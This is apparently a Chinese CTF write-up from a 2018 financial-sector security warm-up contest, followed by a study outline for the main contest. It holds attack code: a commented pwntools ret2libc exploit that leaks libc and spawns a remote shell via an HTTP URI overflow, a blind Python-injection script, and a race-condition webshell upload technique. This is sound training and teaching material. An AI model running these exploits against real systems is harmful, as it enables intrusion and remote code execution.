金融业网络安全攻防比赛热身赛writeup

2018-08-06 9,473

1.babygit

 从题目上看,该题是考git敏感数据泄漏的,访问http://54.223.83.192:9998/.git/确认存在问题。



使用githack下载该目录,githack建议使用https://github.com/BugScanTeam/GitHack,他会下载git所有信息。

下载完后,查看http://54.223.83.192:9998/.git/logs/HEAD 或者 在下载目录执行 git logs,发现上一个版本添加了flag。将git信息导入sourcetree中,可视化查看得到flag。

2. speed

从题目上看是速度,应该与速度相关。

登陆后台后,发现上传点,上传图片路径固定:http://54.223.83.192:29551/userdata/img/22/avatar_22.jpg,文件后缀为上传设定的后缀。

后缀限制各种绕过无果,得知提示“上传文件后缀非法,已删除”,猜测言外之意就是文件已经上传成功,后来发现上传文件后缀非法,被程序自动删除。

那么可以上传一个php,访问后会立刻生成一个webshell,通过webshell获取权限。

通过burp构造2个 null playload,一个用于不停的上传图片,另外一个用于不停的访问:http://54.223.83.192:29551/userdata/img/22/avatar_22.php。


通过一段时间的跑,获得flag: flag{fiLe_Up10A$1@68c55***e70}

3. calculate

 该题外有原题,write_up见:https://xz.aliyun.com/t/2456,核心思想就是python语句构造。原有代码修改一下即可得到: flag{2d0cda6f2ee6596838476fb775124d13}


#!/usr/bin/env python3

import requests, re


def calc(v1, v2, op, s):
    u = "http://54.223.83.192:8888/cgi-bin/calculate.py?"
    payload = dict(value1=v1, value2=v2, op=op, source=s,t=hh)
    #print payload
    r = requests.get(u, params=payload)
    #print r.url
    res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                     r.content)[0].split('\n')[1]
    assert (res != 'Invalid')
    return res == 'True'
    # print r.content


def check(mid):
    s = flag + chr(mid)
    return calc(v1, v2, op, s)


def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
    assert (lo >= 0)
    if hi == None: hi = len(seq)
    while lo < hi:
        mid = (lo + hi) // 2
        # print lo, mid, hi, "\t",
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
    return seq[lo]


flag = ''
v1, v2, op, s ,hh= 'x', "+FLAG<value1+source#", "+'", '',"1a69aa60224a7095ececda5c7c6834fc"

while (1):
    flag += chr(bin_search() - 1)
    print flag

4. babyshop

买一个东西,然后卖出111111111111111111111111111个,让他溢出,然后你就是土豪了,可以随便买买买。


5. Bake cookies

    这题脑洞题,看标题jwt,应该是jwt认证。构造包,系统会报错,得到密钥(表问我为什么是在这个地方加token,而不是别的)。

在https://jwt.io/ 通过对应的key计算出hash。


算法必须是HS256,playload 必须为: "admin": "true"。将获取的hash放入token中得到flag,flag{Jw7_15_9000lh4vE_fUN_W17h_17}。

想象力不丰富的人很难做出来。


6. welcome

    asicc码

    102 102 108 97 103 123 119 101 108 99 48 109 101 95 50 95 67 84 70 45 119 111 114 108 100 125

7. docx

     docx都是zip格式,解压即可得到flag{maybe_docx_is_a_structured_file(s)}

8. usb

 该题为usb协议,报文里面包含除了键盘意外其他操作数据,但是不影响我们分析。

tshark -r ./usb.pcap -T fields -e usb.capdata 获取数据,去掉空白数据。

获取后的数据通过查表得到键盘操作记录,相关代码如下:

#!/usr/bin/env python

import sys
import os

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." } 
nums = [] 
keys = open('1.txt') 
for line in keys: 
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': 
         continue 
    nums.append(int(line[6:8],16)) 
keys.close() 
output = "" 
for n in nums: 
    if n == 0 : 
        continue 
    if n in mappings: 
        output += mappings[n] 
    else: 
        output += '[unknown]' 
print 'output :\n' + output

运行得到键盘操作:

[unknown][unknown][unknown][unknown][unknown]BCFGIJGFEDCA[unknown][unknown][unknown][unknown]BACFEDCA[unknown][unknown]7200[DEL]53[DEL]93[unknown][unknown][unknown]

由于密码为6位数字,则flag为:7200[DEL]53[DEL]93  ===》720593。得自己补上flag{}.????

9. client

下载解压,发现是exe程序,查壳未加壳。拉入IDA,得到账号:explorer

OD加载程序 ,在密码验证处设置断点。每次运行内存地址不一样,需要自己计算。

得到密码:welcome_to_the_world_of_binary.输入密码 得到:flag{welcome_to_the_world_of_binary}

10. 2048

     使用jeb加载程序,根据提示,结束时获取flag{welcome_to_hacker's_game},base64编码的。把分跑满等结束这个姿势是不对的。


所有的write_up官方已给出,详细见:https://pan.baidu.com/s/1MbmqFb6rMcoIdee08rnlWg


关于PWN 还有另外一个溢出点:URI,本文对利用该处的exp做解释。


相关代码由大米(微信号:bigric3_)大拿给出,本人只做部分修改以及添加代码注释 。

本人初学,如有错误请指出。


大家测试前,需要安装GDB-peda插件,pwntools。

pwn组件


pip install pwntools


gdb peda插件


git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinit



相关代码解释见下:



from pwn import *

local = 1

if local:
    #context.log_level = 'debug'
    context.arch = 'i386'
    context.os = 'linux'
    #p = process('./anache_server', env={"LD_PRELOAD":"./libc.so.6"})
    p = remote('54.223.83.192','31337')
    libc = ELF('./libc.so.6')
    #/bin/sh 的地址,用于执行system("/bin/sh"),可以通过010editor搜索字符串得到    binsh = 0x15902b 
    system= libc.symbols['system']

e = ELF('./anache_server')
#main函数地址,第一次溢出后,返回该处,便于第二次溢出执行漏洞
vuln_func =0x8048755
write_plt = e.plt['write'] #获取PLT 数据
write_got = e.got['write']

log.info('write@plt: %s',hex(write_plt))
log.info('write@got: %s',hex(write_got))

#gdb.attach(p)

#'aaa/'+'a'*0x21c为填充数据,覆盖栈
# p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)为 
#write(1,write_got,4),把write函数的内存地址输出出来,长度为4字节
#x32 函数调用时是由右向左调用,p32(vuln_func)为执行完write函数后的返回地址,详细见call 函数栈数据的变化。
#PLT 与 GOT 的区别可见:https://blog.csdn.net/linyt/article/details/51635768
#GOT在运行时会重定位到glibc的write函数上,从而获取到write函数的内存地址

get_payload = 'aaa/'+'a'*0x21c + p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)
payload = 'GET ' + get_payload + ' HTTP/1.1\\'
p.send(payload)

p.recvuntil('Permission Denied<h2>')

#读取 write函数的内存地址

res = u32(p.recv(4))

#write 的内存地址 = glibc的内存基址 + write函数的文件地址
#故 glibc的内存基址为:泄漏的write函数的内存地址 - write的文件地址
libc_base = res - libc.symbols['write']
log.success('libc base: %s',hex(libc_base))

#根据glibc的内存基址可以算出system的内存地址,从而利用system执行/bin/sh
#由于“/bin/sh” 字符串是在glic中查找的,故内存中字符串“/bin/sh” 需要加上glic的地址 
binsh_addr = binsh+libc_base
system_addr = system+libc_base

log.success('binsh addr: %s',hex(binsh_addr))
log.success('system addr: %s',hex(system_addr))

#二次溢出,执行system(“/bin/sh”),返回地址可以随便写,程序挂了也无所谓啦,但是别超过4字节啦。
get_payload = 'b'*0x218 + p32(system_addr) + 'bbbb' + p32(binsh_addr)
payload = 'GET ' + get_payload + ' HTTP/1.1\\r'
p.send(payload)
p.interactive()

raw_input('waiting...')



金融业网络安全攻防比赛 命题分析

备注:题目形式以及考纲源自于官方,个人考点分析为个人主观推论仅供参考,结论肯定是错误的????。大家查看提取的考纲即可。

    

    本次竞赛题目量为热身赛题量的2倍左右,由于比赛只有4个小时,考试难度应该与热身赛相当

    ***目与金融业相关业务为背景,内容包含着:网站入侵,恶意病毒清除,勒索软件清理,移动应用破解,日志与流量分析取证,密码保护。其中:


web安全:50%

移动安全:15%

逆向:10%

密码学:10%

取证,隐写,pwn:各占5%


以下为各个方向的考纲:



Web安全


题目形式:

    给出web网站,要求选手通过信息收集、挖掘漏洞、利用漏洞获取目标权限或数据。


考纲:

1.OWASP top 10,如sqlxss,文件上传

2.信息泄漏

3.php代码审计

4.java反编译与代码审计

5.业务逻辑问题

6.著名漏洞


考点分析:

1.sql注入,xss 绕过过滤。

2.Javaphp代码审计可能与sqlxss联合起来考试

3.著名漏洞可能会考:心脏滴血,struts2shellshock(官方给的)


所需工具:

sqlmap,SourceLeakHacker,struts,心脏滴血,shellshock利用攻击。



移动安全


题目形式:

    给出一个安卓应用,分析出算法,求解正确输入或是 对服务端通信进行分析,实现指定的目标。


考纲:

1.安卓应用流量抓取与分析

2.安卓逆向与调试

3.安卓应用修改


考点分析:

1.初级考点:熟悉安卓java语言逆向,资源文件,备份文件的目录;

2.中级考点:安卓so文件的逆向分析,动态调试;

3.高级考点:安卓应用加壳,ollvm混淆分析(个人感觉不大可能,4个小时anti估计都搞不定)


所需工具:

jeb,jd-gui, GDA 



逆向工程


题目形式:

    给出一个二进制程序,分析出算法,求解正确输入或是 对其进行patch,完成非预期功能。


考纲:

1.windows软件逆向分析与调试

2.linux软件逆向分析与调试

3.二进制软件修改


考点分析:

应该是常规题,跟热身赛差不多,动静分析应该可以得到答案。如果太难,4个小时不够用。


所需工具:

od,ida, peid




密码学


题目形式:

    给出密文和相关信息(如加密代码,加密方式),求明文。


考纲:

1.hash算法

2.分组密码以及加密模式

3.rsa原理以及常见攻击方式


考点分析:

1.hash算法攻击,如:MD5扩展长度攻击(https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html

2.对称算法攻击,如:CBC反转攻击,ECB攻击(google keyword:ecb attack,)

3.RSA 算法应该是计算明文,考虑到难度系数,可能会给出p,q,n,e等参数;


所需工具:

我也不知道怎么给,网上给的都是小工具,具体网盘会给出。





取证与隐写


题目形式:

给出日志,流量或文件,分析出里面的关键信息或隐藏信息。


考纲:

1.常见的日志分析

2.网络流量抓去与分析

3.常见文件格式


考点分析:

1.常见协议,如:smbTLSsmtp协议,可能会考wannacry,心脏滴血漏洞,wannacry是利用永恒之蓝漏洞进行攻击,使用的是smb协议漏洞,心脏滴血针对的是https,使用的是tls协议;

2.常见文档,压缩文件格式,比如:execlrarpptx等金融常用软件。

3.日志分析估计是找webshell,或者通过日志看哪个位置有漏洞。需要:准备常见的日志分析工具


所需工具:

wireshark, tshark,Stegsolve



PWN


题目形式:

给出一个网络服务二进制,利用其漏洞(通常为内存破坏型漏洞),获取服务器权限


考纲:

1.栈溢出基本原理

2.栈溢出的利用技术

3.linux提供的保护机制


考点分析:

    官方都说了基本信息原理了,应该与热身赛难度差不多。感觉应该是一个套路:

1.checksec看保护机制;

2.找到溢出点;

3.获取glibc的地址;

4.远程执行命令。


所需工具:

gdb-peda,ida,od




工具打包下载,工具来源网络,非本人收集整理,请自己查看是否存在后门:

链接: https://pan.baidu.com/s/1ISiXcbAU2UNkdFfAhe6uqw 密码: 7kbe



本文作者:ReadOnly

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/74096.html

Tags:
评论  (0)
快来写下你的想法吧!

ReadOnly

文章数:3 积分: 20

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号